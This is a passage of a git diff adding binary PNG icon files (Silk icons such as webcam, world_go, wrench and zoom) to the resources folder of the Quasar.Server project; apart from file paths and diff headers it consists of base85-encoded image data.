M07*qoM6N<$f`IP5ud|Np1|AOBzfzx2!k2P6f@r4BdjzqS>RTgk>`sn)j`siZP2nD{M|4%RQ;YX*@ nOhCtIA&IFQT>*yuM8zfmxfCmlqf70K00000NkvXXu0mjfD8iim literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/weather_sun.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/weather_sun.png new file mode 100755 index 0000000000000000000000000000000000000000..0156c266e4e1fbcd1263fab2c2dd1f3712553d14 GIT binary patch literal 623 zcmV-#0+9WQP)Wtv3@TMo36t?!us(ut2(qE`#u;Y2=pT zq@2~2T~yXyeA(Qqy5;+9o4@n>4e8r+MnSPzjxHXahjaKm&-eRqP6dF9|A~@^;+?rt z=H0jE_T4vTwd@82LFU{PN7lpd$oktP$3Gho==lu{2>(S8IKK0m@1#{_mk%-f(Z z+<+0WLyL4{ZOnvyEl7}LBImWjh~I^nZG{LlL-;RKT!Im`W9MTdQZ5xqr;6nfwX(

    &09}?3!+0xOT@w2!VY%$ zj|Qoisx?Xewm&q%SbjiFY^0(I!gmV#q77T0t|0EJMfe#*$tA9gs83{GdZFA;x{o96 zB^%K$7%@AxKer&}ti|FWs}2pYzTg0Ry6;OQZ&K!w#ON`Q%*5Js144tWhd>1Tnd7f7 zk-!t=?~tr%T0tsJ(--<#x2)&;s)i5r7k+}jpgM|^Wqqb{;s;8N-ZpQB0Ez$r002ov JPDHLkV1fyHAhiGh literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/webcam.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/webcam.png new file mode 100755 index 0000000000000000000000000000000000000000..af71c30610862c76f07e948d8c28433c7d338f9a GIT binary patch literal 728 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 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/world_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/world_add.png new file mode 100755 index 0000000000000000000000000000000000000000..6d0d7f74c0d89a5d1975eb65c3e048ace0290daf GIT binary patch literal 940 zcmV;d15^BoP)%?%c;Y_xOF9QVIY7fRV}JLEt>l17rXb zC;_)rpe}tj`1Q{K005d&3V@NxVG|ey-h3^0CX$Y2uaOh_TG3L)SA z^5q{Y0Gd*Yk;&l@aHG5N$^I8}&tW+cTs)R7jj)QaYX>Od5yNKFonUrjc24->neX1Z zQqlo{(Nhh_`Ujf3DM$}r*APOdD#F-=DYy}~ofvDS5RWFFraSw1hv)j=0~p1#4+emb z-#PZGF)#Poq)IgqRGb6_H-zOte!Wa-f1gNt7p*Q&Ut=5B7iU_(xixy%=p8=!>AB|K z6PgiYQx~9`I4Bd`-ZH2}_By5ADbi^dQ@DgQMMO6+E7$01>qP33 z&Vy%>nonQ*X>`xY>R-KbdE9gTpT-w&@@z{Nbw&;8L_l3wQX6(ihFpr3Ekas?*N>kE z;DZ;w;BZq1Ku8DhUH{!*^LOU{T=|Q0Z9TN6Ob)~qjYgRU-KJPBvam75g{wmVTo@nX z-u4`Tqba2Tcl#FWG)4l2eAPSU$OVbxOKKviB!WMq6%|BL%)*6IvUcN65jTSPSg8@k z+Knw0t;7~vY{ZsSl2SuT(wNjF)5&CJGIx?Y_woPtcT-F8EDwi|v-vco6!&IyVq_3F z4jcel028PJmsOxX{b=yZpYPpk{{coPMoeG~c>d|!P$U~`!Ll2$JrL4CP~d$2tdK(f zB7}VL^C!RCybBne7zqKt_BQY8Kbkv?87OV4qzxtsGdSGIqBd2HI~8`<~a zaC_fw&4`iL1*lf;lL@XC4C;=~%*rM~v_fRt4cycm#h`*&k?d~D=~owL8%^LqF4e)5 zy-G2v^RV#%0fMD9567vKZc|u|GlquGnJ&O>whNqkRaOr?~jDezniMGiA0Is1o?7E6$y z7w9TQdrO^UZ4hh4$6*rR`x}%(2%(u$1ZB&!I+~0O$><|27fl>LL^v8D+8X2LLJ8+e zhQY#Vj^=+Lw*C)WsTidVi4;NA6u$U#v3#pzM?A;5+Y@BsI|v&&e8)x^8N!Jy2NzFq zEHueOuf0X2YZvuvLua}r|9ZzWT3E~(Z4u$a@=$MpT=h{@>oX?X`_K`A|M@>q{0r#kV|&6 zK(wt3j-P?|%kcIB=GH86Up1QmzU#koVQ%V@Tle-3?>oeeH4~$%5LyjC(6LjE*i%2! zaOO?i`fY5WW*JC>)w?o1@yX*!;fs^Pmq%Xhf89j3p;R1A*T_wuAT@oF&PE?oU#3}1)g%qIqTsXPaq-^2FjA^a Tq%@q400000NkvXXu0mjf^C!N( literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/world_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/world_edit.png new file mode 100755 index 0000000000000000000000000000000000000000..00794d4088a00c6baf0c26268ce127cc2c0277a8 GIT binary patch literal 945 zcmV;i15W&jP)wbexvw|;D@Bpf2#?5tPj)lD7w%noq+*50?iyU*w6AgL1SN!I(xtJI>ioRNhm3 z8y=*@c8$zNJK5S0C$-Jo_k6|Ll7+?aK9-_;S@0|HYf>1rjrX%u;FB{MepKXNWhx3c)tdmO*|ZNArkPMxVZ889e0pvz1Z#dze2>G{HV zh$91qls28kbG1mEJG7MiMzhUrQU&Dok7h|F~{5T*SG)I#1Af~Z4$+Bm-QZ|{agwxOcT_6 zh)MA>qt$8jm2IcNd=z7-0Y$4cDTf3vJ@HICtF~=Qxv<4hB7Kb&OBE~D3aq8uXgl}{ z-NV&r%qNoKYI3vS#s7WdzhrEE;bGanS0DGEO{4DI*0mjq%?Tm=CKwQ8KRy394wBI; Te6@B!00000NkvXXu0mjfI-kC4 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/world_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/world_go.png new file mode 100755 index 0000000000000000000000000000000000000000..aee9c97f8232fd21bdd23804c83eb721ff597a96 GIT binary patch literal 944 zcmV;h15f;kP)Vt{;GNX|PV@wQxfRAQ-FeWBO z_okAVsCzMc+6+1!88|n0#f5DY;>y+0w55ffp3Cpz=VNHC0RRA)nx7m4J_e2fEr1D> zf$Li7b6<{q_X_|3fT6VpU}}ES1g3#EU(cKfCPFP#tOhI>gtQSn;qulcA%*-^2>JFm zr+(T4FtpZ8%})k^KL(S1BPTO2QL%$KxGYx;>U5BTrO?79gvFL~m7AM47lbE{|M1p@ zvJU{5KHA(pGTJssQM!0O10j6WL>(4&6rCX3c8K+IfcD4>45pqv>^k0$0RGbW>L~Ep z>F(G3_hpqWYSffq&yG-Z0#t0sZtPO7RtY8w81XE_$%9;8ywUmn_33;5p~)j(OtcLh zGW;R7d;;`7T4jV=PyEzuAB!7%sQMDYjz>7LEO}MJEJ+SEXMDFFKWs9AW0_c*yVfT8 zdLO<111JQ!Z5P|F5l?92}SW-(dg4!8-@ngsi3V^Oiyy@FAt+W#MZLO z+G>n8Cxq}c`;$Ecm+#=&HP9L%gkegdiWRq#ZuU14t$&X7yov1vXjLB(4@;a4kKLRg z-PA=-YKUFC%EJ2Z6sr?Rp~|N4#O=q$)pS=l!*Bo1(-`ie&YwXjm+`*$kXj*?M4{O% zuhGAMggv*$Cl@{hx*zyFSA6yJ!&%W0X~DEMC>Q=Dk#Mkui`0r-AY6 ziYp9c#&{<6JiCE=qrPunJwM|*-o=^4Szb&J5cfBbh$w7fBc$M|SUag$2d(i=0{##! z(KNT$=DD_V!?IjrCV=O7?_9~=opWmL;fW*1d9-cvk8qg2_BpO{v4zWlWG};=C;2-! z$Cag7CoJ20md|EuhSnN@SH6BZDm-yscyj#Rk@rnx3a!H!K7(Yu!lxHc)7Lu8)up-J z2HoDfaAs*8z|dL)001y@X6Owm(^b;|pVbz=yzjpaJj$ zhrpuriKefui_0DvN;1Ymq&%nwWg*IrK!Xz^eJWuq3u2H~0ra?EC@ge%+`A>6mV z9{TYo{=G6 zt@5m|4G+Q2zKv;Ch@O;`PfWArmB5n3gvMsxV&Iu>97{a!2kL74wd@!f_AP^O%_&ND zm}1c*+F;TcH^{p$P_|akvD5o7vmT>HCkP;z;;&+8tDBI;koi9eX`W!oH4`pYaHlFZwV;$>vvfQTw zM-`m&R_SPIBa^FUasC0GCCh%{h`$~db`z&-lFX#%(f>H6JD6Z(sIW`RKE+xOL+?+uQ%q z){?+F%=6pqEH{6=NzusC-*<`PZYiLCGyKD}Z8^V8ul-K=AV@SE1t4~D2*b1(9UUc= zN-;Dv#Ngl{rd7e$ZUPXC##BFmV>$26ZQi?6Po#@{4gllsPbku3Vq${Y+FAf~T}OJb zGWEz9{(zcvI&CUaN&p7GcqMG4&7ULx##68M4k(F4l7Q+Xm&>uSv4N&(w6?a=)YOC{ zoYLN-J?7@-9xGBx007$C+kK7w_2Z$(k&l}jo2#`dO;J#Ipsbc$pS#^Dy3Q&nSeE5x fGMT)t>sS8=`naU3reLNz00000NkvXXu0mjf)bGN+ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/wrench.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/wrench.png new file mode 100755 index 0000000000000000000000000000000000000000..5c8213fef5ab969f03189d4367e32e597e38bd7f GIT binary patch literal 610 zcmV-o0-gPdP)^jb z4`0v}DG1te)wmeb(>p90leRz?_mO+^JKy=v&2<29Od6?F%9%(c8los#f*@G`-%W&* z$)uBj2i@u-@SgX}gtyWPe6d*|w6h%R? zScK2#Yn%$sum0cy>90DmY*i{1XqpClEtktsRTZ)lCUe z<FogV^*tm>8*AlX za4oiR!&85LrobG57qUHUX#{>Vz(RHpB5|@>9O6N$jqB8>%($0wxE5R3)b>Y~xtCo$ zCgEk&A?_#IxHdN)9tqre^o{ho4{?hmPuf@^@I3-wncaRd%|~O3xbrKY=&TiwPYkJroM{;WUQTuMY8vpg}f4o)2%U3C;eEDoiEh?94d(rV57VIF#8VqzW$HrDC|#U`x@QDbgi zVl)t9GGz&YY#D?gc%>hISA+_EBpnXt#pnC`p6@xw0$8TCbULjhlgVx(kuc)%xbgqq zR5+DNDFRN0!y)7Gm}oT0i39}h4h928qY?Rho^UvPGJ#kuW|-Amtrn`Pmd&+bFo@sp z$LI4IQw7BG?|#2ewOS<<3VjL$0=lMY^m;wqZujv5kx1l%Sl;V&Iy4#$ip3&@LV2!7vhhN=PCz%^9v24`qb(+m4W?!q-&~=?ssf5GfnAmJKV;3bvpDm0(NhahZ=&^sqo6Odj6>)Dq_3p~4~ zvb`d3Mydwjt&Df^hVmLtI2x=U&h9(JVYX-!y~z3zi;1>=LY;o(bL$(Yf$lf)dMf0-u^0HrpTG Wk@)HE*94aU0000bIQ51&Z_netrMv_Rp78XH7kbsJXXkj5}*6(u}EhTgM}6% zXkjYBJE8$&k~wo`@3r>&j3NkPH_uZ^ViYwasu@xD+Wi&rA0B~OklZnY)C53B^)gIkMV>GH?=z$pP9!b^~gFb~W{_8@s7 zn@ApH3${&lY5Pu>P3I0z@#xhCrw>lCHYnVEy2^#)v-HL*#3sS3_XC!e*SK_YH_3zB zOW%mrsFOQ`6wFR_h=7T)nl=}D;}tg-zEA;I?|o!$=Q#6wdhFRg&fZ;!k6*8I_RtK2 z6x?|5nPj3F79?nfg^+mpuFr>+gaktqkuvpKo3SFEEU(k4DoxZ-T^G9a+^gWR+NFF2;*@NUk_P{(a7gho*!b8mMm|*eFTe|BT zPMZtUlO6I{#iUi(gmAAgudxtTL@9v>ln5k{_^sM^<%Nc=BNLGVWk(h$707`~APeMz h2>w+`ViYwa`U&8QX@yPWti%8S002ovPDHLkV1mwr|55+| literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/xhtml_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/xhtml_add.png new file mode 100755 index 0000000000000000000000000000000000000000..bbaf784f2181f9953c961d15f8d1f16cb500a353 GIT binary patch literal 703 zcmV;w0zmzVP)(EGn5{?^v(DSQN?@3iQqlt zV&qP6UdRh0^GcozDbv<>l=;IDH9{~%4GD%9!>i)G;YIO5DMUGQ=L;#nP1J;-AZkcZ ziePwAycmTjP6CBDoG67?=2lYjs*o~m`eK( zTRpi~G!x>?2@l_7tXn#ptB=R1FGcLz+De*4R9(P;%mq|olYn_Jl2)*0FGI2X}|BG5GvEE%ROx^&B6uon6g*`0gmY;zV)Y zC`56h6rwa~FMD=uha_g#ii7ms-bX^r`OCM6Cnklw2sG3uG|WzDDkn5o5?U$=t(BCv z#u7iOUnoTtcC9$bFTFiySlZS}6noO|x#!f)kC->qDOL#P6>|X!#e%YI)fmI00}PEm z;Lx_Sob2CAeKHHv5|NqlFWmBxr8jdaZK;`QgJ3_N?lhqvQ>k(u#7x(_Tk l3G4?NfJxx=;Hl9=KLOX-UDpSegn0k}002ovPDHLkV1k-NLT3N~ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/xhtml_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/xhtml_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..157b5201d0cfc97af349384e73f5edd3711b03ea GIT binary patch literal 696 zcmV;p0!RIcP)vB`%|NH-brpS$=_W49+#!Tdxp&T<5pS}6j_zO|Rd&P<1 zJ)~l!PHjhqty7=OZRvz<|UBRAJ-t+5A+U3OFCIB#@g- zjm;~XcrsLB+v?fWoO1rwD9#(nRKN_9sX*o770Sm~GqAJB(2->*nL|e|4ZO__fM#dbOSDYx$ z8<{9hluVQZ{kzzG^aQ21eK6V&bLR3b?%=_L*Tj{okY<6VVxFunqUa-hy&)3eC5Km| zCHX*cK_~1w$!~G@LKg6ycr5i?x<86}L!DxoU|um7AX6+TTMI4JUf!eO&M{p2i5gI? z|N{EUV<6Kr2qqFjqyc|6X(o;fr(CfH;s zUVf@EFkI%)w)r?w`Ul3)JWy~V)SNP>R74eKG!)2vq`5KS{H?Dfz^SXFTz|2Lk;-1$ zXB&&#o5+KrnNY}_@Z^2Q#_kqw4vy2*kZ`nb9%(V5>LLbYE>aiI!nS1`>0igsEW?F} zWs$U+8@O5&V z_k?IX9ImjwYbIt;bpnl^9V-qJO^F&&j4$O;RxR8@)#nV2ZYI&oq`zu`i+8?Jb&(TS zMsT9IU=$0UXv(J_?+7Z020{!}+yrYEZKWD&jQ8y)txO2HkF+)w@eK)0AtB5##(W)# z!u(mCh(@9*U&|xREp;$7`iQ3=h8cf&fu#G`bF1fq1w)-;Ua+8S*?pM0_jvWx#nauk zoSv?oJR5n;-B*KTPtRi2PLluq#+7FZ*@n*EmVvkTK6_>Rmvi<8_ zQ%h@8K@|Sx-ZT$MQld?(Bp9R$QmIlwlExsMGBFkk5EJsf=392fG_LNsZZ$7WYF<_ zEPr2t6OKcQ6k_q_NgUpjT9;EpDosJUC<%qsSZck+eC-yrVmQ6?4&rPG_vU^g)}yt2 zN!jt2q`)mvSu!Woauj3PoA!LQk;B%sLeP=j0H+S5QCVzbax{&mAK}UC2BweXkcu@18R6Y`Y4g#v(kZ;fa03-hOr^_hi;}|KV zP}mm7uE8V%K|S*%950l3^V!3p;VpRnu7PA9!7+D1#p$UF$Z`PLEUNg-l zn-{_91R4_~8O(od;l%!|Rdb{KjT|&Qax`ONP|@bYmkz$JhW2cY>?-7NngORP(|A>F z!F8B5c1V>OFq7Fx@VE&8Dyfd&)a?G0i(w1a~i{jWpGb(#8fDK=L zuh#;SY-=JTH+w=OpA!<%{*waR$$u8x>~rp|Kh9U4T}Uu~^#A|>07*qoM6N<$f)0&A A%>V!Z literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/zoom.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/zoom.png new file mode 100755 index 0000000000000000000000000000000000000000..908612e394525fc2e52a7e9b94689c25ce167381 GIT binary patch literal 692 zcmV;l0!#ggP)m+BBgry{~j2fHLegbHP( zrgXNbr0}2;^nywdjLjZe?uxtrd3D(pZH@fFFc0{BW_~jxoO1w7-VX;6vK@ROA$$R6 zEmo;Ht-Mj|>5jUy{bQ^V5@53LRI8AgLpUm|m+15sqcz@QtVSo|oz7ArM8?pIn+>gN z0b=4_b5O|4A*;Q+vc9Vqr~%3V155*NV~@gTz}KSUiKB-uJzjMZ>5%Q#n24H!V{ zTY(LLAE*NAHZ}C#wnj%Bw5OFIkRhkkAW#kDC3j9Wm0YXRaXlyyp>#mVfYG)eC;@ab zDb=T-BCAY4LI(Z@GOTr2V_A{pRwSmz+8Be>CjAw(=gnbVWAeguvZa93JmL(EDxv1m z0OP4q=fpAK1Mq!C2`OkEn37o;m#wF#(t(8Pu#S?2f#x<~4EO{@fmm`p9veD6RZ_jp z@Au4};q&`XuKEYgIiB4((kgxOs#YdqJw0fY>9^K_agEu5+$#k;w#%I2N>n_?)YIqu z`tq&#_^p?-%K*U0^}|7+9U(&k0?s;=r=uCZ%)H9_edH8wK}gB(nUB1FFk+2Ol%BXV zHoFY`D~2x|2m%7v+TE=2L@ zAc44q=tejYU5HLZGooZ=NXsV%)bU*sTokj@jZSo^9&w{ke7#VNQ*1zG!rIRk_@ zCqOr;g6B6CM1oPv1(~U4k@Gd+5tN0(j@GA*K*busv3Lb0UyXuowiRkTRZ#85JN!eC z_8ZVW>+upx5C#N|BTv2dK_EW@%(@F6yu1sZv>T3gm&*mIkvej1R4=RyYw#mS zx}c)#2z<)=VQ1|=ux>5PwjVE+J!Q84EQyG-j9SFYV*6AQj$Gb(7!KJE!k5iQ@O3K$ z@0NQZ)>b7&TaFd~Ciolk*Q(7cL+9cB`Y;G@rr`tk5Hdjv+))zSdlF#gI!>6`zB<@i zaKYP!9!Pl&5VMjydlq1x&}37{RQY+SSBXX-w?kCLKK%bXFYU6{?d+nH00000NkvXX Hu0mjfTSP*+ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/zoom_out.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/zoom_out.png new file mode 100755 index 0000000000000000000000000000000000000000..07bf98a79cfea526e250703356dbefdb6b80d166 GIT binary patch literal 708 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 